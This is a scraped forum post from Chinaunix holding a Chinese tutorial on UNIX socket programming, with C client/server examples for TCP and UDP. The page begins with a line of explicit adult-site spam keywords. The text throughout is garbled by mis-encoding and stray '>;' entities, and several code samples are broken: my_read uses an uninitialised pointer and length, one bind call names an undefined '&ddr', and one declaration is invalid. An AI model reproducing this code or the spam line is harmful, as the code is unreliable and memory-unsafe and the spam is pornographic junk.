亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
12下一頁(yè)
最近訪(fǎng)問(wèn)板塊 發(fā)新帖
查看: 54974 | 回復(fù): 16
打印 上一主題 下一主題

[SCO UNIX] UNIX網(wǎng)絡(luò)編程 [復(fù)制鏈接]

論壇徽章:
1
榮譽(yù)版主
日期:2011-11-23 16:44:17
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2004-01-05 21:37 |只看該作者 |倒序?yàn)g覽
UNIX網(wǎng)絡(luò)編程

1.1 客戶(hù)端程序和服務(wù)端程序
網(wǎng)絡(luò)程序和普通的程序有一個(gè)最大的區(qū)別是網(wǎng)絡(luò)程序是由兩個(gè)部分組成的--客戶(hù)端和服務(wù)器端.

網(wǎng)絡(luò)程序是先有服務(wù)器程序啟動(dòng),等待客戶(hù)端的程序運(yùn)行并建立連接.一般的來(lái)說(shuō)是服務(wù)端的程序 在一個(gè)端口上監(jiān)聽(tīng),直到有一個(gè)客戶(hù)端的程序發(fā)來(lái)了請(qǐng)求.

1.2 常用的命令
由于網(wǎng)絡(luò)程序是有兩個(gè)部分組成,所以在調(diào)試的時(shí)候比較麻煩,為此我們有必要知道一些常用的網(wǎng)絡(luò)命令

netstat
命令netstat是用來(lái)顯示網(wǎng)絡(luò)的連接,路由表和接口統(tǒng)計(jì)等網(wǎng)絡(luò)的信息.netstat有許多的選項(xiàng) 我們常用的選項(xiàng)是 -an 用來(lái)顯示詳細(xì)的網(wǎng)絡(luò)狀態(tài).至于其它的選項(xiàng)我們可以使用幫助手冊(cè)獲得詳細(xì)的情況.

telnet
telnet是一個(gè)用來(lái)遠(yuǎn)程控制的程序,但是我們完全可以用這個(gè)程序來(lái)調(diào)試我們的服務(wù)端程序的. 比如我們的服務(wù)器程序在監(jiān)聽(tīng)8888端口,我們可以用telnet localhost 8888來(lái)查看服務(wù)端的狀況.

1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協(xié)議是一種面向連接的協(xié)議,當(dāng)我們的網(wǎng)絡(luò)程序使用 這個(gè)協(xié)議的時(shí)候,網(wǎng)絡(luò)可以保證我們的客戶(hù)端和服務(wù)端的連接是可靠的,安全的.

UDP(User Datagram Protocol)用戶(hù)數(shù)據(jù)報(bào)協(xié)議是一種非面向連接的協(xié)議,這種協(xié)議并不能保證我們 的網(wǎng)絡(luò)程序的連接是可靠的,所以我們現(xiàn)在編寫(xiě)的程序一般是采用TCP協(xié)議的.

2. 初等網(wǎng)絡(luò)函數(shù)介紹(TCP)
  unix系統(tǒng)是通過(guò)提供套接字(socket)來(lái)進(jìn)行網(wǎng)絡(luò)編程的.網(wǎng)絡(luò)程序通過(guò)socket和其它幾個(gè)函數(shù)的調(diào)用,會(huì)返回一個(gè) 通訊的文件描述符,我們可以將這個(gè)描述符看成普通的文件的描述符來(lái)操作,這就是unix的設(shè)備無(wú)關(guān)性的 好處.我們可以通過(guò)向描述符讀寫(xiě)操作實(shí)現(xiàn)網(wǎng)絡(luò)之間的數(shù)據(jù)交流.

2.1 socket
int socket(int domain, int type,int protocol)

  domain:說(shuō)明我們網(wǎng)絡(luò)程序所在的主機(jī)采用的通訊協(xié)族(AF_UNIX和AF_INET等). AF_UNIX只能夠用于單一的Unix系統(tǒng)進(jìn)程間通信,而AF_INET是針對(duì)Internet的,因而可以允許在遠(yuǎn)程 主機(jī)之間通信(當(dāng)我們 man socket時(shí)發(fā)現(xiàn) domain可選項(xiàng)是 PF_*而不是AF_*,因?yàn)間libc是posix的實(shí)現(xiàn) 所以用PF代替了AF,不過(guò)我們都可以使用的).

  type:我們網(wǎng)絡(luò)程序所采用的通訊協(xié)議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明我們用的是TCP協(xié)議,這樣會(huì)提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM 表明我們用的是UDP協(xié)議,這樣只會(huì)提供定長(zhǎng)的,不可靠,無(wú)連接的通信.

  protocol:由于我們指定了type,所以這個(gè)地方我們一般只要用0來(lái)代替就可以了 socket為網(wǎng)絡(luò)通訊做基本的準(zhǔn)備.成功時(shí)返回文件描述符,失敗時(shí)返回-1,看errno可知道出錯(cuò)的詳細(xì)情況.


2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

  sockfd:是由socket調(diào)用返回的文件描述符.

  addrlen:是sockaddr結(jié)構(gòu)的長(zhǎng)度.

  my_addr:是一個(gè)指向sockaddr的指針. 在<unix/socket.h>;中有 sockaddr的定義

        struct sockaddr{
                unisgned short  as_family;
                char            sa_data[14];
                };

  不過(guò)由于系統(tǒng)的兼容性,我們一般不用這個(gè)頭文件,而使用另外一個(gè)結(jié)構(gòu)(struct sockaddr_in) 來(lái)代替.在<unix/in.h>;中有sockaddr_in的定義
        struct sockaddr_in{
                unsigned short          sin_family;     
                unsigned short int      sin_port;
                struct in_addr          sin_addr;
                unsigned char           sin_zero[8];

  我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設(shè)置為INADDR_ANY表示可以 和任何的主機(jī)通信,sin_port是我們要監(jiān)聽(tīng)的端口號(hào).sin_zero[8]是用來(lái)填充的. bind將本地的端口同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和socket一樣

2.3 listen
int listen(int sockfd,int backlog)

sockfd:是bind后的文件描述符.

backlog:設(shè)置請(qǐng)求排隊(duì)的最大長(zhǎng)度.當(dāng)有多個(gè)客戶(hù)端程序和服務(wù)端相連時(shí), 使用這個(gè)表示可以介紹的排隊(duì)長(zhǎng)度. listen函數(shù)將bind的文件描述符變?yōu)楸O(jiān)聽(tīng)套接字.返回的情況和bind一樣.


2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)

sockfd:是listen后的文件描述符.

addr,addrlen是用來(lái)給客戶(hù)端的程序填寫(xiě)的,服務(wù)器端只要傳遞指針就可以了. bind,listen和accept是服務(wù)器端用的函數(shù),accept調(diào)用時(shí),服務(wù)器端的程序會(huì)一直阻塞到有一個(gè) 客戶(hù)程序發(fā)出了連接. accept成功時(shí)返回最后的服務(wù)器端的文件描述符,這個(gè)時(shí)候服務(wù)器端可以向該描述符寫(xiě)信息了. 失敗時(shí)返回-1


2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

sockfd:socket返回的文件描述符.

serv_addr:儲(chǔ)存了服務(wù)器端的連接信息.其中sin_add是服務(wù)端的地址

addrlen:serv_addr的長(zhǎng)度

connect函數(shù)是客戶(hù)端用來(lái)同服務(wù)端連接的.成功時(shí)返回0,sockfd是同服務(wù)端通訊的文件描述符 失敗時(shí)返回-1.


2.6 實(shí)例

服務(wù)器端程序


/******* 服務(wù)器程序  (server.c) ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;

int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";

if(argc!=2)
{
  fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
  exit(1);
}

if((portnumber=atoi(argv[1]))<0)
{
  fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
  exit(1);
}

/* 服務(wù)器端開(kāi)始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)  
{
        fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
        exit(1);
}

/* 服務(wù)器端填充 sockaddr結(jié)構(gòu)  */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);

/* 捆綁sockfd描述符  */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
        fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
        exit(1);
}

/* 監(jiān)聽(tīng)sockfd描述符  */
if(listen(sockfd,5)==-1)
{
        fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
        exit(1);
}

while(1)
{
        /* 服務(wù)器阻塞,直到客戶(hù)程序建立連接  */
        sin_size=sizeof(struct sockaddr_in);
        if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
        {
                fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
                exit(1);
    }

        fprintf(stderr,"Server get connection from %s\n",
                                        inet_ntoa(client_addr.sin_addr));
        if(write(new_fd,hello,strlen(hello))==-1)
        {
         fprintf(stderr,"Write Error:%s\n",strerror(errno));
         exit(1);
        }
/* 這個(gè)通訊已經(jīng)結(jié)束     */
        close(new_fd);
/* 循環(huán)下一個(gè)     */  
  }
close(sockfd);
exit(0);
}


客戶(hù)端程序

/******* 客戶(hù)端程序  client.c ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;

int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;

if(argc!=3)
{
  fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
  exit(1);
}

if((host=gethostbyname(argv[1]))==NULL)
{
        fprintf(stderr,"Gethostname error\n");
        exit(1);
}

if((portnumber=atoi(argv[2]))<0)
{
        fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
        exit(1);
}

/* 客戶(hù)程序開(kāi)始建立 sockfd描述符  */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
        fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
        exit(1);
}

/* 客戶(hù)程序填充服務(wù)端的資料       */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);

/* 客戶(hù)程序發(fā)起連接請(qǐng)求         */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
  fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
  exit(1);
}

/* 連接成功了           */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
        fprintf(stderr,"Read Error:%s\n",strerror(errno));
        exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n",buffer);
/* 結(jié)束通訊     */
close(sockfd);
exit(0);
}


MakeFile
這里我們使用GNU 的make實(shí)用程序來(lái)編譯. 關(guān)于make的詳細(xì)說(shuō)明見(jiàn) Make 使用介紹

#########  Makefile       ###########
all:server client
server:server.c
        gcc $^ -o $@
client:client.c
        gcc $^ -o $@

運(yùn)行make后會(huì)產(chǎn)生兩個(gè)程序server(服務(wù)器端)和client(客戶(hù)端) 先運(yùn)行./server portnumber& (portnumber隨便取一個(gè)大于1204且不在/etc/services中出現(xiàn)的號(hào)碼 就用8888好了),然后運(yùn)行 ./client localhost 8888 看看有什么結(jié)果. (你也可以用telnet和netstat試一試.) 上面是一個(gè)最簡(jiǎn)單的網(wǎng)絡(luò)程序,不過(guò)是不是也有點(diǎn)煩.上面有許多函數(shù)我們還沒(méi)有解釋. 我會(huì)在下一章進(jìn)行的詳細(xì)的說(shuō)明.


2.7 總結(jié)
總的來(lái)說(shuō)網(wǎng)絡(luò)程序是由兩個(gè)部分組成的--客戶(hù)端和服務(wù)器端.它們的建立步驟一般是:

服務(wù)器端
socket-->;bind-->;listen-->;accept

客戶(hù)端
socket-->;connect

3. 服務(wù)器和客戶(hù)機(jī)的信息函數(shù)
這一章我們來(lái)學(xué)習(xí)轉(zhuǎn)換和網(wǎng)絡(luò)方面的信息函數(shù).

3.1 字節(jié)轉(zhuǎn)換函數(shù)
在網(wǎng)絡(luò)上面有著許多類(lèi)型的機(jī)器,這些機(jī)器在表示數(shù)據(jù)的字節(jié)順序是不同的, 比如i386芯片是低字節(jié)在內(nèi)存地址的低端,高字節(jié)在高端,而alpha芯片卻相反. 為了統(tǒng)一起來(lái),在unix下面,有專(zhuān)門(mén)的字節(jié)轉(zhuǎn)換函數(shù).

unsigned long  int htonl(unsigned long  int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long  int ntohl(unsigned long  int netlong)
unsigned short int ntohs(unsigned short int netshort)

在這四個(gè)轉(zhuǎn)換函數(shù)中,h 代表host, n 代表 network.s 代表short l 代表long 第一個(gè)函數(shù)的意義是將本機(jī)器上的long數(shù)據(jù)轉(zhuǎn)化為網(wǎng)絡(luò)上的long. 其他幾個(gè)函數(shù)的意義也差不多.

3.2 IP和域名的轉(zhuǎn)換
在網(wǎng)絡(luò)上標(biāo)志一臺(tái)機(jī)器可以用IP或者是用域名.那么我們?cè)趺慈ミM(jìn)行轉(zhuǎn)換呢?

struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>;中有struct hostent的定義
struct hostent{
        char *h_name;           /* 主機(jī)的正式名稱(chēng)  */
        char *h_aliases;        /* 主機(jī)的別名 */
        int   h_addrtype;       /* 主機(jī)的地址類(lèi)型  AF_INET*/
        int   h_length;         /* 主機(jī)的地址長(zhǎng)度  對(duì)于IP4 是4字節(jié)32位*/
        char **h_addr_list;     /* 主機(jī)的IP地址列表 */
        }
  #define h_addr h_addr_list[0]  /* 主機(jī)的第一個(gè)IP地址*/

gethostbyname可以將機(jī)器名(如 unix.yessun.com)轉(zhuǎn)換為一個(gè)結(jié)構(gòu)指針.在這個(gè)結(jié)構(gòu)里面儲(chǔ)存了域名的信息
gethostbyaddr可以將一個(gè)32位的IP地址(C0A80001)轉(zhuǎn)換為結(jié)構(gòu)指針.

這兩個(gè)函數(shù)失敗時(shí)返回NULL 且設(shè)置h_errno錯(cuò)誤變量,調(diào)用h_strerror()可以得到詳細(xì)的出錯(cuò)信息


3.3 字符串的IP和32位的IP轉(zhuǎn)換.
在網(wǎng)絡(luò)上面我們用的IP都是數(shù)字加點(diǎn)(192.168.0.1)構(gòu)成的, 而在struct in_addr結(jié)構(gòu)中用的是32位的IP, 我們上面那個(gè)32位IP(C0A80001)是的192.168.0.1 為了轉(zhuǎn)換我們可以使用下面兩個(gè)函數(shù)

int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)

函數(shù)里面 a 代表 ascii n 代表network.第一個(gè)函數(shù)表示將a.b.c.d的IP轉(zhuǎn)換為32位的IP,存儲(chǔ)在 inp指針里面.第二個(gè)是將32位IP轉(zhuǎn)換為a.b.c.d的格式.


3.4 服務(wù)信息函數(shù)
在網(wǎng)絡(luò)程序里面我們有時(shí)候需要知道端口.IP和服務(wù)信息.這個(gè)時(shí)候我們可以使用以下幾個(gè)函數(shù)

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
        {
                char *s_name;          /* 正式服務(wù)名 */
                char **s_aliases;      /* 別名列表 */  
                int s_port;            /* 端口號(hào) */
                char *s_proto;         /* 使用的協(xié)議 */
        }

一般我們很少用這幾個(gè)函數(shù).對(duì)應(yīng)客戶(hù)端,當(dāng)我們要得到連接的端口號(hào)時(shí)在connect調(diào)用成功后使用可得到 系統(tǒng)分配的端口號(hào).對(duì)于服務(wù)端,我們用INADDR_ANY填充后,為了得到連接的IP我們可以在accept調(diào)用成功后 使用而得到IP地址.

在網(wǎng)絡(luò)上有許多的默認(rèn)端口和服務(wù),比如端口21對(duì)ftp80對(duì)應(yīng)WWW.為了得到指定的端口號(hào)的服務(wù) 我們可以調(diào)用第四個(gè)函數(shù),相反為了得到端口號(hào)可以調(diào)用第三個(gè)函數(shù).


3.5 一個(gè)例子

#include <netdb.h>;
#include <stdio.h>;
#include <stdlib.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;

int main(int argc ,char **argv)
{
        struct sockaddr_in addr;
        struct hostent *host;
        char **alias;
        
        if(argc<2)
        {
         fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
         exit(1);
        }
        
        argv++;
        for(;*argv!=NULL;argv++)
        {
                /* 這里我們假設(shè)是IP*/   
                if(inet_aton(*argv,&addr.sin_addr)!=0)
                {
                   host=gethostbyaddr((char   *)&addr.sin_addr,4,AF_INET);
                   printf("Address information of Ip %s\n",*argv);
                }
                else
                {
                      /* 失敗,難道是域名?*/
                      host=gethostbyname(*argv); printf("Address information
                      of host %s\n",*argv);
                }
                if(host==NULL)
                {
                        /* 都不是 ,算了不找了*/
                        fprintf(stderr,"No address information of %s\n",*argv);
                        continue;
                }
                printf("Official host name %s\n",host->;h_name);
                printf("Name aliases:");
                for(alias=host->;h_aliases;*alias!=NULL;alias++)
                 printf("%s ,",*alias);
                printf("\nIp address:");
                for(alias=host->;h_addr_list;*alias!=NULL;alias++)
                  printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
        }
}

在這個(gè)例子里面,為了判斷用戶(hù)輸入的是IP還是域名我們調(diào)用了兩個(gè)函數(shù),第一次我們假設(shè)輸入的是IP所以調(diào)用inet_aton, 失敗的時(shí)候,再調(diào)用gethostbyname而得到信息.

4. 完整的讀寫(xiě)函數(shù)
一旦我們建立了連接,我們的下一步就是進(jìn)行通信了.在unix下面把我們前面建立的通道 看成是文件描述符,這樣服務(wù)器端和客戶(hù)端進(jìn)行通信時(shí)候,只要往文件描述符里面讀寫(xiě)東西了. 就象我們往文件讀寫(xiě)一樣.


4.1 寫(xiě)函數(shù)write

ssize_t write(int fd,const void *buf,size_t nbytes)

write函數(shù)將buf中的nbytes字節(jié)內(nèi)容寫(xiě)入文件描述符fd.成功時(shí)返回寫(xiě)的字節(jié)數(shù).失敗時(shí)返回-1. 并設(shè)置errno變量. 在網(wǎng)絡(luò)程序中,當(dāng)我們向套接字文件描述符寫(xiě)時(shí)有倆種可能.

1)write的返回值大于0,表示寫(xiě)了部分或者是全部的數(shù)據(jù).

2)返回的值小于0,此時(shí)出現(xiàn)了錯(cuò)誤.我們要根據(jù)錯(cuò)誤類(lèi)型來(lái)處理.

如果錯(cuò)誤為EINTR表示在寫(xiě)的時(shí)候出現(xiàn)了中斷錯(cuò)誤.

如果為EPIPE表示網(wǎng)絡(luò)連接出現(xiàn)了問(wèn)題(對(duì)方已經(jīng)關(guān)閉了連接).

為了處理以上的情況,我們自己編寫(xiě)一個(gè)寫(xiě)函數(shù)來(lái)處理這幾種情況.


int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;

ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
        /* 開(kāi)始寫(xiě)*/
        written_bytes=write(fd,ptr,bytes_left);
        if(written_bytes<=0) /* 出錯(cuò)了*/
        {      
                if(errno==EINTR) /* 中斷錯(cuò)誤 我們繼續(xù)寫(xiě)*/
                        written_bytes=0;
                else             /* 其他錯(cuò)誤 沒(méi)有辦法,只好撤退了*/
                        return(-1);
        }
        bytes_left-=written_bytes;
        ptr+=written_bytes;     /* 從剩下的地方繼續(xù)寫(xiě)  */
}
return(0);
}

4.2 讀函數(shù)read
ssize_t read(int fd,void *buf,size_t nbyte) read函數(shù)是負(fù)責(zé)從fd中讀取內(nèi)容.當(dāng)讀成功時(shí),read返回實(shí)際所讀的字節(jié)數(shù),如果返回的值是0 表示已經(jīng)讀到文件的結(jié)束了,小于0表示出現(xiàn)了錯(cuò)誤.如果錯(cuò)誤為EINTR說(shuō)明讀是由中斷引起的, 如果是ECONNREST表示網(wǎng)絡(luò)連接出了問(wèn)題. 和上面一樣,我們也寫(xiě)一個(gè)自己的讀函數(shù).

int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
  
bytes_left=length;
while(bytes_left>;0)
{
   bytes_read=read(fd,ptr,bytes_read);
   if(bytes_read<0)
   {
     if(errno==EINTR)
        bytes_read=0;
     else
        return(-1);
   }
   else if(bytes_read==0)
       break;
    bytes_left-=bytes_read;
    ptr+=bytes_read;
}
return(length-bytes_left);
}

4.3 數(shù)據(jù)的傳遞
有了上面的兩個(gè)函數(shù),我們就可以向客戶(hù)端或者是服務(wù)端傳遞數(shù)據(jù)了.比如我們要傳遞一個(gè)結(jié)構(gòu).可以使用如下方式

/*  客戶(hù)端向服務(wù)端寫(xiě) */

struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/* 服務(wù)端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;   

在網(wǎng)絡(luò)上傳遞數(shù)據(jù)時(shí)我們一般都是把數(shù)據(jù)轉(zhuǎn)化為char類(lèi)型的數(shù)據(jù)傳遞.接收的時(shí)候也是一樣的 注意的是我們沒(méi)有必要在網(wǎng)絡(luò)上傳遞指針(因?yàn)閭鬟f指針是沒(méi)有任何意義的,我們必須傳遞指針?biāo)赶虻膬?nèi)容)

5. 用戶(hù)數(shù)據(jù)報(bào)發(fā)送
我們前面已經(jīng)學(xué)習(xí)網(wǎng)絡(luò)程序的一個(gè)很大的部分,由這個(gè)部分的知識(shí),我們實(shí)際上可以寫(xiě)出大部分的基于TCP協(xié)議的網(wǎng)絡(luò)程序了.現(xiàn)在在unix下的大部分程序都是用我們上面所學(xué)的知識(shí)來(lái)寫(xiě)的.我們可以去找一些源程序來(lái)參考一下.這一章,我們簡(jiǎn)單的學(xué)習(xí)一下基于UDP協(xié)議的網(wǎng)絡(luò)程序.

5.1 兩個(gè)常用的函數(shù)

   int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
   int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發(fā)送或接收的緩沖區(qū)及大小.recvfrom負(fù)責(zé)從sockfd接收數(shù)據(jù),如果from不是NULL,那么在from里面存儲(chǔ)了信息來(lái)源的情況,如果對(duì)信息的來(lái)源不感興趣,可以將from和fromlen設(shè)置為NULL.sendto負(fù)責(zé)向to發(fā)送信息.此時(shí)在to里面存儲(chǔ)了收信息方的詳細(xì)資料.


5.2 一個(gè)實(shí)例

/*           服務(wù)端程序  server.c           */

#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <stdio.h>;
#include <errno.h>;
#define SERVER_PORT     8888
#define MAX_MSG_SIZE    1024

void udps_respon(int sockfd)
{
        struct sockaddr_in addr;
        int     addrlen,n;
        char    msg[MAX_MSG_SIZE];
        
        while(1)
        {       /* 從網(wǎng)絡(luò)上度,寫(xiě)到網(wǎng)絡(luò)上面去   */
                n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
                        (struct sockaddr*)&addr,&addrlen);
                msg[n]=0;
                /* 顯示服務(wù)端已經(jīng)收到了信息  */
                fprintf(stdout,"I have received %s",msg);
                sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
        }
}

int main(void)
{
        int sockfd;
        struct sockaddr_in      addr;
        
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket Error:%s\n",strerror(errno));
                exit(1);
        }
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_addr.s_addr=htonl(INADDR_ANY);
        addr.sin_port=htons(SERVER_PORT);
        if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0)
        {
                fprintf(stderr,"Bind Error:%s\n",strerror(errno));
                exit(1);
        }
        udps_respon(sockfd);
        close(sockfd);
}


/*          客戶(hù)端程序             */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <errno.h>;
#include <stdio.h>;
#include <unistd.h>;
#define MAX_BUF_SIZE    1024

void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
        char buffer[MAX_BUF_SIZE];
        int n;
        while(1)        
        {        /*   從鍵盤(pán)讀入,寫(xiě)到服務(wù)端   */
                fgets(buffer,MAX_BUF_SIZE,stdin);
                sendto(sockfd,buffer,strlen(buffer),0,addr,len);
                bzero(buffer,MAX_BUF_SIZE);
                /*   從網(wǎng)絡(luò)上讀,寫(xiě)到屏幕上    */
                n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
                buffer[n]=0;
                fputs(buffer,stdout);
        }
}

int main(int argc,char **argv)
{
        int sockfd,port;
        struct sockaddr_in      addr;
        
        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
        
        if((port=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
        
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket  Error:%s\n",strerror(errno));
                exit(1);
        }      
        /*      填充服務(wù)端的資料      */
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);
        if(inet_aton(argv[1],&addr.sin_addr)<0)
        {
                fprintf(stderr,"Ip error:%s\n",strerror(errno));
                exit(1);
        }
        udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
        close(sockfd);
}

########### 編譯文件 Makefile        ##########
all:server client
server:server.c
        gcc -o server server.c
client:client.c
        gcc -o client client.c
clean:
        rm -f server
        rm -f client
        rm -f core

上面的實(shí)例如果大家編譯運(yùn)行的話(huà),會(huì)發(fā)現(xiàn)一個(gè)小問(wèn)題的. 在我機(jī)器上面,我先運(yùn)行服務(wù)端,然后運(yùn)行客戶(hù)端.在客戶(hù)端輸入信息,發(fā)送到服務(wù)端, 在服務(wù)端顯示已經(jīng)收到信息,但是客戶(hù)端沒(méi)有反映.再運(yùn)行一個(gè)客戶(hù)端,向服務(wù)端發(fā)出信息 卻可以得到反應(yīng).我想可能是第一個(gè)客戶(hù)端已經(jīng)阻塞了.如果誰(shuí)知道怎么解決的話(huà),請(qǐng)告訴我,謝謝. 由于UDP協(xié)議是不保證可靠接收數(shù)據(jù)的要求,所以我們?cè)诎l(fā)送信息的時(shí)候,系統(tǒng)并不能夠保證我們發(fā)出的信息都正確無(wú)誤的到達(dá)目的地.一般的來(lái)說(shuō)我們?cè)诰帉?xiě)網(wǎng)絡(luò)程序的時(shí)候都是選用TCP協(xié)議的.

6. 高級(jí)套接字函數(shù)
在前面的幾個(gè)部分里面,我們已經(jīng)學(xué)會(huì)了怎么樣從網(wǎng)絡(luò)上讀寫(xiě)信息了.前面的一些函數(shù)(read,write)是網(wǎng)絡(luò)程序里面最基本的函數(shù).也是最原始的通信函數(shù).在這一章里面,我們一起來(lái)學(xué)習(xí)網(wǎng)絡(luò)通信的高級(jí)函數(shù).這一章我們學(xué)習(xí)另外幾個(gè)讀寫(xiě)函數(shù).

6.1 recv和send
recv和send函數(shù)提供了和read和write差不多的功能.不過(guò)它們提供 了第四個(gè)參數(shù)來(lái)控制讀寫(xiě)操作.

int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)

前面的三個(gè)參數(shù)和read,write一樣,第四個(gè)參數(shù)可以是0或者是以下的組合
_______________________________________________________________
|  MSG_DONTROUTE        |  不查找路由表                         |
|  MSG_OOB              |  接受或者發(fā)送帶外數(shù)據(jù)                 |
|  MSG_PEEK             |  查看數(shù)據(jù),并不從系統(tǒng)緩沖區(qū)移走數(shù)據(jù)    |
|  MSG_WAITALL          |  等待所有數(shù)據(jù)                         |
|---------------------------------------------------------------|

MSG_DONTROUTE:是send函數(shù)使用的標(biāo)志.這個(gè)標(biāo)志告訴IP協(xié)議.目的主機(jī)在本地網(wǎng)絡(luò)上面,沒(méi)有必要查找路由表.這個(gè)標(biāo)志一般用網(wǎng)絡(luò)診斷和路由程序里面.
MSG_OOB:表示可以接收和發(fā)送帶外的數(shù)據(jù).關(guān)于帶外數(shù)據(jù)我們以后會(huì)解釋的.

MSG_PEEK:是recv函數(shù)的使用標(biāo)志,表示只是從系統(tǒng)緩沖區(qū)中讀取內(nèi)容,而不清楚系統(tǒng)緩沖區(qū)的內(nèi)容.這樣下次讀的時(shí)候,仍然是一樣的內(nèi)容.一般在有多個(gè)進(jìn)程讀寫(xiě)數(shù)據(jù)時(shí)可以使用這個(gè)標(biāo)志.

MSG_WAITALL是recv函數(shù)的使用標(biāo)志,表示等到所有的信息到達(dá)時(shí)才返回.使用這個(gè)標(biāo)志的時(shí)候recv回一直阻塞,直到指定的條件滿(mǎn)足,或者是發(fā)生了錯(cuò)誤. 1)當(dāng)讀到了指定的字節(jié)時(shí),函數(shù)正常返回.返回值等于len 2)當(dāng)讀到了文件的結(jié)尾時(shí),函數(shù)正常返回.返回值小于len 3)當(dāng)操作發(fā)生錯(cuò)誤時(shí),返回-1,且設(shè)置錯(cuò)誤為相應(yīng)的錯(cuò)誤號(hào)(errno)

如果flags為0,則和read,write一樣的操作.還有其它的幾個(gè)選項(xiàng),不過(guò)我們實(shí)際上用的很少,可以查看 unix Programmer's Manual得到詳細(xì)解釋.

6.2 recvfrom和sendto
這兩個(gè)函數(shù)一般用在非套接字的網(wǎng)絡(luò)程序當(dāng)中(UDP),我們已經(jīng)在前面學(xué)會(huì)了.

6.3 recvmsg和sendmsg
